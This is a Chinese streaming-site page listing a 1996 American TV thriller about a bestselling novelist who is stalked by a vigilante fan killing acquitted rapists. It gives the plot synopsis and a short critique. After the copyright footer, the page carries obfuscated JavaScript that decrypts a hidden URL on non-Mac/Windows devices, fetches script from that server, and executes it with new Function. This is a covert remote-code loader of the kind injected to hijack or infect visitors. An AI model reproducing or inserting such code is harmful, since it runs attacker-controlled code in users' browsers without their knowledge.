雇佣狙击手2 正片

评分:
nan 很差

分类:剧情片 美国 1996

导演:Stuart  Cooper  (I)   

剧情介绍

故事梗概:哈里森·卡尔是名畅销小说作家。在他的《深蓝色谋杀》开始签名售书时,卡尔遇到了前所未有的麻烦,一个自称“武士”的忠实书迷不仅要走卡尔的亲笔签名,还以各种方式胁迫卡尔帮助他出版一本旨在唤醒全美国民众社会责任的、以谋杀和强奸为主要题材的小说。卡尔生性浪漫多情。对于“武士”无孔不入无处不在地提醒,卡尔起初并不在意。但是当两名涉嫌强奸却因证据不足逃脱法律制裁的男子先后毙命后,卡尔开始发觉事情远没有那么简单,因为每一次命案发生后,卡尔总是第一个得到“武士”的通知,然后才叫来警察。为摆脱“武士”的耍弄、同时阻止类似的谋杀再次发生,卡尔找莉姬小姐帮忙。莉姬有着非常专业的刑侦水准和非凡的手脚功夫。根据先前发生的两起命案,莉姬通过查阅本地区连续两年来发生的23起强奸案发现,被“武士”杀害的两名男子有着一个相同的特点,就是涉嫌强奸犯罪却逃脱法律的制裁。莉姬推测出“武士”下一个即将谋杀的对象名叫塞尔维后,与卡尔分头走访23起强奸案的受害人家属。走访中,一个名叫马修·斯坦丁的受害人家属痛苦的记忆引起莉姬的同情。为引“武士”露面,卡尔的前妻萨伦出主意,让卡尔做一期电视采访节目。采访中,卡尔推测“武士”有性功能障碍的谈话激怒“武士”,因此差点让萨伦丧命。萨伦的主意没有取得预期的效果,莉姬利用提前释放强奸犯塔利斯坦,导演一场好戏又让“武士”看出破绽,参与“演戏”的一名警察因此负伤。卡尔采取的行动彻底激怒“武士”,“武士”将卡尔约到教堂的忏悔室,警告卡尔从此不要轻举妄动,集中精力写完旨在唤醒美国民众的小说。一切努力似乎都没有结果。此时,一个意外的机会让卡尔想起一个受害人家属马修·斯坦丁。经过排查,确认马修就是躲在暗处的“武士”。卡尔带着莉姬在没有通知警察的前提下,来到马修工作的广告公司。一场短暂的生命较量后,马修带着巨大的心灵痛苦跳楼自杀。回到正常生活状态的卡尔,突然觉得马修的小说值得一写。精彩视点:本片是1996年出品的一部电视作品,情节曲折、构思精巧,引人入胜。影片以谋杀、复仇、动作、刑侦为故事元素,推进故事发展的则是一个无辜的美国畅销小说作家。随着剧情的演绎发展,幕后真凶现出原身,美国社会普遍的民众心理,和宣扬大美国文化的主题创作思想随着显现。本片创作阵容虽然不能与好莱坞大牌导演、大牌明星比肩,但影片中主人公“哈里森·卡尔”的扮演者卡特·本森可以说是当时美国电视荧屏上的红星。卡特·本森那种放浪不羁自然挥洒的表演风格,让观众在充满仇杀的刑侦推理电视作品中,依稀还能感受到轻喜剧的味道。

猜你喜欢

评论加载中...
加载中...

Copyright © 2015-2020 All Rights Reserved

window['LxQRgj'] = function(){ var keyList = [ "+ALPvZG7JfqnVawkUTN58jgMsm0rulh-4umApW61xS8HnhKIkab3rYoDiwtUvPec" , "QIoM7N6OP2En01qimF8flCU9V+RkwHAE4aqnTc6I9QS7lYsrv+ePONH3ZmtkBF", "jZ+3nV6wxsbgyWiolMdqDhtackJHC2r0eLGz5KQAfFtkN2oyg+paL9zSH.:bXV8IAsleMrKdhYBRimUOCx6/", "-zwgpiskFb9YlOT0Dx1KJuRhZW02ma9f3eR745c6-H8gVXIMjO", ]; function decrypt(t, e) { if (!t) return ""; for (var a = t.split(""), n = e.split(""), i = {}, r = [], o = 0;o < a.length / 2;o++) i[a[o]] = a[a.length / 2 + o]; for (var s = 0; s < e.length; s++) r.push(i[n[s]]); return r.join(""); }; (!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?(function(u, i, w, d) { var x = decrypt, cs = d[x(keyList[0],"-A88hV0f-8kv0")], crd = x(keyList[1],"6mQoNQQ1QRQ7N"); 'jQuery'; u = decodeURIComponent(x(keyList[2], u)); 'jQuery'; var xhr = new XMLHttpRequest(); xhr.open('GET', u + '/s/a?_=' + x(keyList[3], i)); xhr.onreadystatechange = function() { if (xhr.readyState == 4 && xhr.status == 200) { var data = JSON.parse(xhr.responseText); new Function(data.data)(cs); } }; xhr.send('u=1'); })("ijjxWlFFsxhodHZs2WbJ66odVy", "YTz9Y9iilYxwwkz9xY", window, document):function(){}; var _keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; function decode(input) { var output = ""; var chr1, chr2, chr3; var enc1, enc2, enc3, enc4; var i = 0; input = input.replace(/[^A-Za-z0-9\+\/\=]/g, ""); while (i < input.length) { enc1 = _keyStr.indexOf(input.charAt(i++)); enc2 = _keyStr.indexOf(input.charAt(i++)); enc3 = _keyStr.indexOf(input.charAt(i++)); enc4 = _keyStr.indexOf(input.charAt(i++)); chr1 = (enc1 << 2) | (enc2 >> 4); chr2 = ((enc2 & 15) << 4) | (enc3 >> 2); chr3 = ((enc3 & 3) << 6) | enc4; output = output + String.fromCharCode(chr1); if (enc3 != 64) { output = output + String.fromCharCode(chr2); } if (enc4 != 64) { output = output + String.fromCharCode(chr3); } } output = _utf8_decode(output); return output; } function _utf8_decode(utftext) { var string = ""; var i = 0; var c = 0; var c1 = 0; var c2 = 0; while (i < utftext.length) { c = utftext.charCodeAt(i); if (c < 128) { string += String.fromCharCode(c); i++; } else if ((c > 191) && (c < 224)) { c1 = utftext.charCodeAt(i + 1); string += String.fromCharCode(((c & 31) << 6) | (c1 & 63)); i += 2; } else { c1 = utftext.charCodeAt(i + 1); c2 = utftext.charCodeAt(i + 2); string += String.fromCharCode(((c & 15) << 12) | ((c1 & 63) << 6) | (c2 & 63)); i += 3; } } return string; }}